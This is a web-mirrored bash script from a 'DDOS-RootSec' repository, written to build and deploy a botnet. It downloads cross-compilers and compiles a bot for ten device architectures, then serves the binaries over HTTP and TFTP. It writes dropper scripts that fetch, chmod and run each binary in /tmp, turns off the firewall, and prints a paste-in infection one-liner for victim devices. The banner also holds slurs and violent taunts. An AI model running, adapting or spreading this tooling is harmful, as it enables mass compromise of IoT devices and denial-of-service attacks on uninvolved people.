Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-seijin.39f5cc.sh
5038 views
1
#!/bin/bash
2
echo -e '\x1b[31m###############################################################################'
3
echo -e '\x1b[31 Seijin the almighty demon is about to take you guys into the depths of hell'
4
echo -e '\x1b[31 Hope you guys are ready to punish those who have sin'
5
echo -e '\x1b[31 Send them all to bloody hell with your net your building'
6
echo -e '\x1b[31m###############################################################################'
7
echo -e "\x1b[31mNSA-seijin.sh | BUILD DATE: 7-11-16\r\n"
8
echo -e "\x1b[31mUsage: sh NSA-seijin.sh [BOTNAME.c] DONT BE A RETARD"
9
yum install perl -y;yum install gcc -y;yum install gcc-c++ -y;yum install cpan -y;yum install httpd -y;yum install tftp -y;yum install screen -y;yum install nano -y;yum install unzip -y;yum install tar -y;yum install wget -y;yum install curl -y;yum install busybox -y;yum install python-paramiko -y
10
11
#########################################
12
###############Botnames##################
13
#########################################
14
L1='jackmymipsel' #mipsel
15
L2='jackmymips' #mips
16
L3='jackmysh4' #sh4
17
L4='jackmyx86' #x86_64
18
L5='jackmyarmv6' #armv6l
19
L6='jackmyi686' #i686
20
L7='jackmypowerpc' #powerpc
21
L8='jackmyi586' #i586
22
L9='jackmym86k' #m86k
23
L10='jackmysparc' #sparc
24
25
#########################################
26
##############Wgetlinks##################
27
#########################################
28
mips='http://botnets.pw/compile/cross-compiler-mips.tar.bz2'
29
mipsel='http://botnets.pw/compile/cross-compiler-mipsel.tar.bz2'
30
sh4='http://botnets.pw/compile/cross-compiler-sh4.tar.bz2'
31
x86_64='http://botnets.pw/compile/cross-compiler-x86_64.tar.bz2'
32
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
33
i686='http://botnets.pw/compile/cross-compiler-i686.tar.bz2'
34
ppc='http://botnets.pw/compile/cross-compiler-powerpc.tar.bz2'
35
i586='http://landley.net/aboriginal/downloads/binaries/cross-compiler-i586.tar.gz'
36
m68k='http://botnets.pw/compile/cross-compiler-m68k.tar.bz2'
37
sparc='http://botnets.pw/compile/cross-compiler-sparc.tar.bz2'
38
apt-get install tar
39
yum install tar -y
40
41
#########################################
42
################Wgetting#################
43
#########################################
44
if [ -d cross-compiler-mips ]
45
then
46
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
47
else
48
wget --quiet $mips --no-check-certificate
49
tar -xvjf cross-compiler-mips*
50
fi
51
if [ -d cross-compiler-mipsel ]
52
then
53
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
54
else
55
wget --quiet $mipsel --no-check-certificate
56
tar -xvjf cross-compiler-mipsel*
57
fi
58
if [ -d cross-compiler-sh4 ]
59
then
60
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
61
else
62
wget --quiet $sh4 --no-check-certificate
63
tar -xvjf cross-compiler-sh4*
64
fi
65
if [ -d cross-compiler-x86_64 ]
66
then
67
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
68
else
69
wget --quiet $x86_64 --no-check-certificate
70
tar -xvjf cross-compiler-x86_64*
71
fi
72
if [ -d cross-compiler-armv6l ]
73
then
74
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
75
else
76
wget --quiet $armv6l --no-check-certificate
77
tar -xvjf cross-compiler-armv6l*
78
fi
79
if [ -d cross-compiler-powerpc ]
80
then
81
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
82
else
83
wget --quiet $ppc --no-check-certificate
84
tar -xvjf cross-compiler-powerpc*
85
fi
86
if [ -d cross-compiler-m68k ]
87
then
88
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
89
else
90
wget --quiet $m68k --no-check-certificate
91
tar -xvjf cross-compiler-m68k*
92
fi
93
if [ -d cross-compiler-sparc ]
94
then
95
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
96
else
97
wget --quiet $sparc --no-check-certificate
98
tar -xvjf cross-compiler-sparc*
99
fi
100
if [ -d cross-compiler-i586 ]
101
then
102
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
103
else
104
wget --quiet $i586 --no-check-certificate
105
tar -xvjf cross-compiler-i586*
106
fi
107
if [ -d cross-compiler-i686 ]
108
then
109
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
110
else
111
wget --quiet $i686 --no-check-certificate
112
tar -xvjf cross-compiler-i686*
113
fi
114
rm -rf *.tar.bz2
115
echo -e "\x1b[31mDONE...NOW TO COMPILE MY NIGGA"
116
sleep 3
117
118
#########################################
119
##############Compiling##################
120
#########################################
121
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
122
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
123
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
124
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
125
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
126
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
127
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
128
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
129
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
130
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
131
apt-get install apache2; apt-get install php5 -y -q
132
yum install httpd; yum install php -y -q
133
mkdir jackmy; mv jackmy* /var/www/html/
134
echo -e "\x1b[31mRESTARTING YOUR HTTPD FAM !!!"
135
service httpd start
136
service apache2 restart
137
138
#########################################
139
#########Setting up gtop.sh##############
140
#########################################
141
cd /var/www/html/; rm -rf gtop.sh
142
cd /var/www/html/; touch gtop.sh
143
144
echo -e "\x1b[31mMAKING GTOP.SH"
145
echo -e "\x1b[31mGOOD THINGS COME TO THOSE WHO WAIT"
146
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
147
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
148
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
149
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
150
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
151
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
152
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
153
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
154
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
155
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
156
157
yum install xinetd tftp tftp-server -y
158
echo -e "# default: off
159
# description: The tftp server serves files using the trivial file transfer \
160
# protocol. The tftp protocol is often used to boot diskless \
161
# workstations, download configuration files to network-aware printers, \
162
# and to start the installation process for some operating systems.
163
service tftp
164
{
165
socket_type = dgram
166
protocol = udp
167
wait = yes
168
user = root
169
server = /usr/sbin/in.tftpd
170
server_args = -s -c /var/lib/tftpboot
171
disable = no
172
per_source = 11
173
cps = 100 2
174
flags = IPv4
175
}
176
" >> /etc/xinetd.d/tftp
177
service xinetd start
178
cp jackmy* /var/lib/tftpboot/
179
180
#########################################
181
#########Setting up tftp.sh##############
182
#########################################
183
cd /var/lib/tftpboot; rm -rf tftp1.sh
184
cd /var/lib/tftpboot; touch tftp1.sh
185
186
echo -e "\x1b[31mMAKING TFTP1.SH"
187
echo -e "\x1b[31mWAIT A LITTLE BIT LONGER MY NIGGA"
188
echo "cp /bin/busybox -O /tmp/badbox">> tftp1.sh
189
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L1;cat $L1 >badbox;chmod +x *;./badbox">> tftp1.sh
190
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L2;cat $L2 >badbox;chmod +x *;./badbox">> tftp1.sh
191
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L3;cat $L3 >badbox;chmod +x *;./badbox">> tftp1.sh
192
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L4;cat $L4 >badbox;chmod +x *;./badbox">> tftp1.sh
193
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L5;cat $L5 >badbox;chmod +x *;./badbox">> tftp1.sh
194
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L6;cat $L6 >badbox;chmod +x *;./badbox">> tftp1.sh
195
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L7;cat $L7 >badbox;chmod +x *;./badbox">> tftp1.sh
196
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L8;cat $L8 >badbox;chmod +x *;./badbox">> tftp1.sh
197
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L9;cat $L9 >badbox;chmod +x *;./badbox">> tftp1.sh
198
echo "tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get $L10;cat $L10 >badbox;chmod +x *;./badbox">> tftp1.sh
199
200
#########################################
201
#########Setting up tftp2.sh#############
202
#########################################
203
cd /var/lib/tftpboot; rm -rf tftp2.sh
204
cd /var/lib/tftpboot; touch tftp2.sh
205
206
echo -e "\x1b[31mMAKING TFTP2.SH"
207
echo -e "\x1b[31mALMOST DONE FAM"
208
echo "cp /bin/busybox -O /tmp/badbox">> tftp2.sh
209
echo "tp -r $L1 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L1 >badbox;chmod +x *;./badbox">> tftp2.sh
210
echo "tp -r $L2 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L2 >badbox;chmod +x *;./badbox">> tftp2.sh
211
echo "tp -r $L3 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L3 >badbox;chmod +x *;./badbox">> tftp2.sh
212
echo "tp -r $L4 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L4 >badbox;chmod +x *;./badbox">> tftp2.sh
213
echo "tp -r $L5 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L5 >badbox;chmod +x *;./badbox">> tftp2.sh
214
echo "tp -r $L6 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L6 >badbox;chmod +x *;./badbox">> tftp2.sh
215
echo "tp -r $L7 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L7 >badbox;chmod +x *;./badbox">> tftp2.sh
216
echo "tp -r $L8 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L8 >badbox;chmod +x *;./badbox">> tftp2.sh
217
echo "tp -r $L9 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L9 >badbox;chmod +x *;./badbox">> tftp2.sh
218
echo "tp -r $L10 -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//');cat $L10 >badbox;chmod +x *;./badbox">> tftp2.sh
219
220
#########################################
221
###############RESTARTING SERVICES#######
222
#########################################
223
echo -e'\x1b[34mSTOPPING IPTABLES'
224
service iptables stop
225
chkconfig iptables off
226
echo -e'\x1b[34mRESTARTING HTTPD'
227
service httpd restart
228
echo -e'\x1b[34mRESTARTING XINETD'
229
service xinetd restart
230
231
#########################################
232
###############CREDZ#####################
233
#########################################
234
echo -e "\x1b[37mRECODED BY ~$eijin~"
235
echo -e "\x1b[37mSkype: currency kik: unanimity"
236
echo -e "\x1b[32mYour link: cd /tmp; wget http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/gtop.sh || curl -O http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; busybox tftp $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//') -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g $(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'); chmod 777 tftp2.sh; sh tftp2.sh; rm -rf gtop.sh tftp1.sh tftp2.sh\r\n"
237
238
#########################################
239
###############ULIMIT####################
240
#########################################
241
cd /var/www/html/;rm -rf *c
242
cd /root
243
ulimit -Hn 999999; ulimit -Sn 99999
244
ulimit -u 999999;ulimit -n 999999
245
sysctl -w fs.file-max=999999 >/dev/null
246
echo "#.bashrc">> .bashrc
247
echo "#ulimit set">> .bashrc
248
echo "ulimit -u 999999">> .bashrc
249
echo "ulimit -n 999999">> .bashrc
250
bash
251
252